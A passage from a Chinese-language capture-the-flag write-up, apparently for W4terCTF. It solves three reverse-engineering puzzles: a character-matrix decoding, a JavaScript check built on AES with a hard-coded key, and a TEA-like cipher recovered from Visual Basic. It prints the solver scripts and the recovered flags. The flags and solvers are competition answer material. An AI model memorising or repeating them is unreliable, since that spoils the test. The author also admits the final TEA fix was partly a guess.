[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32], | |
[49, 49, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32], | |
[32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32], | |
[32, 32, 32, 32, 49, 49, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32], | |
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49, 49, 49, 49, 32], | |
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49, 49, 49], | |
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49, 49, 49], | |
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49, 49, 49], | |
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 49], | |
[32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 49], | |
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32, 32, 32], | |
[32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49], | |
[32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 32, 32, 49, 49, 32]] | |
str_array_8020 = [ (''.join(chr(x) for x in line )) for line in matrix_8020] | |
# print(str_array_8020) | |
for line in str_array_8020: | |
for i in range(26): | |
if small_alpha_bet[i][0:17] == line: | |
print(chr(i+ord('a')),end=' ') | |
for i in range(26): | |
if upper_alpha_bet[i][0:17] == line: | |
print(chr(i+ord('A')), end=' ') | |
for i in range(10): | |
if num_bet[i][0:17] == line: | |
print(chr(i+ord('0')), end=' ') |
结果为
M O U N D W H I 7 e c r a B s |
由此得到 flag
W4terCTF{1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_MOUND_WHI7e_craBs}
# DouDou
爬了 js 下来,用了 restringer
反混淆,得到关键函数如下:
function check(q) { | |
var V = JSON.parse(JSON.stringify(q)), | |
x = [] | |
for (var P = 0; P < 12; P++) { | |
x.push( | |
e(q[P]) | |
.map((g) => g.toString(16).padStart(2, '0')) | |
.join('') | |
) | |
} | |
x = x.join('') | |
if (x == r + A + s + y + B + F + w + Q + b + p + i + f) { | |
// ... |
最后 x == ...
后面的表达式也求出来了,是一个超长 16 进制字符串,太长不贴了。
分析前面调用 check(STEPS)
的环节可以得到, q
会是一个 [[int * 16] * 12]
,而函数 e
,结合 hint 最终判断为 AES 加密,key 是 W4terDr0pCTF2024
,但是还没完,加密之前每个字节要先异或一个 153
。
最后生成的 x
要等于那个超长字符串,才会进入 if 内生成 flag 的过程,得到 flag:
flag = '' | |
res = '' | |
for (var P = 0; P < 12; P++) { | |
res += V[P].map((g) => String.fromCharCode(g)) | |
} | |
res = res.replaceAll(',', '') | |
for (var P = 0; P < res.length; P += 4) { | |
flag += String.fromCharCode(parseInt(res.slice(P, P + 4), 4)) | |
} |
大概就是 res 四个一组,parse 成一个四位四进制整数,再转 ascii 即可。这也就意味着 res
必须是 ^[0123]*$
,这也可以检验得到 res 的过程是否正确,反正我们一次就出来了:
final_x = "91d48f9e77505fe36b1537597d68a8be6ef1ced09bba7c9d4ea6a123042d47bbd5776d7b85eebbb7738de44b9af45f9b706640c8dac77d409ceb067e677e7290401e4852527e119b8095a636d0b628e1161142b7dfcbcf2ef890698ba5d279c78df2348e45d1aef635ebfb841284f6d67d1e9d0f0489bcdc5ba303bc791d0e18e46889fa856a463907d82a8137b7b2a863d1896d4dfcd6b84a2f55b50567f705ea7177187609da2e506182007b7e8244acf62c69de4f511760159ffc6dd8e9f5" | |
aes = AES.new(b"W4terDr0pCTF2024", AES.MODE_ECB) | |
l = [] | |
while final_x: | |
part_s = final_x[:32] | |
final_x = final_x[32:] | |
l2 = [] | |
while part_s: | |
x = int(part_s[:2], 16) | |
l2.append(x) | |
part_s = part_s[2:] | |
l.append(l2) | |
l = [[x ^ 153 for x in subl] for subl in l] | |
l = [bytes(subl) for subl in l] | |
l = [aes.decrypt(b) for b in l] | |
ans = "" | |
for s in l: | |
while s: | |
b = int(s[:4], 4) | |
s = s[4:] | |
ans += chr(b) | |
ans |
'jS_ls_In7erEStlng_ANd_QuaTeRN4rY_IS_al50_1Unny!!'
# 古老的语言
用 VB 反编译器逆向,关键函数 Fxxxtel
如下:
Public Function Fxxxtel(raw) '40F35C | |
'Data Table: 40E3A8 | |
Dim var_B0 As Long | |
Dim var_B4 As Long | |
Dim var_B8 As Long | |
Dim var_BC As Long | |
Dim var_86 As Integer | |
loc_40F031: For var_AC = 0 To 9 Step 3: var_A6 = var_AC 'Integer | |
loc_40F047: var_B4 = raw(CLng(var_A6)) | |
loc_40F055: var_B8 = raw(CLng((var_A6 + 1))) | |
loc_40F063: var_BC = raw(CLng((var_A6 + 2))) | |
loc_40F06D: For var_C0 = 1 To &H20: var_A8 = var_C0 'Integer | |
loc_40F089: var_B0 = AddLong(0, -1640531527) | |
loc_40F0FB: var_B4 = var_B4 Xor AddLong(AddLong(LeftRotateLong(var_B8, 4) Xor -559038737, var_B8 Xor var_B0), RightRotateLong(var_B8, 5) Xor -1161901314) | |
loc_40F16D: var_B8 = var_B8 Xor AddLong(AddLong(LeftRotateLong(var_BC, 4) Xor -559038737, var_BC Xor var_B0), RightRotateLong(var_BC, 5) Xor -1161901314) | |
loc_40F1DF: var_BC = var_BC Xor AddLong(AddLong(LeftRotateLong(var_B4, 4) Xor -559038737, var_B4 Xor var_B0), RightRotateLong(var_B4, 5) Xor -1161901314) | |
loc_40F1E5: Next var_C0 'Integer | |
loc_40F1F4: var_A0(CLng(var_A6)) = var_B4 | |
loc_40F202: var_A0(CLng((var_A6 + 1))) = var_B8 | |
loc_40F210: var_A0(CLng((var_A6 + 2))) = var_BC | |
loc_40F214: Next var_AC 'Integer | |
loc_40F21B: var_86 = &HFF |
用 C 整理出的等价版本:
void encrypt(uint32_t *v) { | |
uint32_t a = v[0], b = v[1], c = v[2]; | |
for (int i = 0; i < 32; i++) { | |
a = a ^ round_fn(b); | |
b = b ^ round_fn(c); | |
c = c ^ round_fn(a); | |
} | |
v[0] = a; | |
v[1] = b; | |
v[2] = c; | |
} |
uint32_t round_fn(uint32_t b) { | |
const uint32_t delta = 0x9e3779b9; | |
return ((left_rotate(b, 4) ^ (0xdeadbeef)) + (b ^ delta) + | |
(right_rotate(b, 5) ^ (0xbabecafe))); |
在这之后是一长串的 IF,判断 var_A0
的各个位是否等于一些硬编码的 32 位常数,将这些常数解密即可。
可以看出这和 TEA 加密非常像,但是是三个一组的循环混淆,而非经典 TEA 的两个一组,而且把 TEA 轮函数加法和异或交换了,以及每次异或的是固定的 delta
而不是 delta
的累加。每次取三个 u32
一组,像这样交叉异或 32 轮。
三个一组问题不大,把加密的顺序反过来异或回去可以了,原理是一样的:
void decrypt(uint32_t *v) { | |
uint32_t a = v[0], b = v[1], c = v[2]; | |
for (int i = 0; i < 32; i++) { | |
c = c ^ round_fn(a); | |
b = b ^ round_fn(c); | |
a = a ^ round_fn(b); | |
} | |
v[0] = a; | |
v[1] = b; | |
v[2] = c; | |
} |
然而这样不对。hint 说要关掉的那个选项我看到了,关了之后重新复现了一遍,发现跟之前一点区别没有,心态炸了。
最后一天晚九点,突发奇想把轮函数改了一下,把 sum
做异或,相当于只把轮函数的加法和异或互换的 TEA 算法,保留 sum
的部分不改,然后居然过了,有瞎蒙的成分在。
事后注意到这一行:
loc_40F089: var_B0 = AddLong(0, -1640531527) |
那就意味着这一行的逆向是错的,应该是 var_B0 = AddLong(var_B0, -1640531527)
,不过没发现为什么。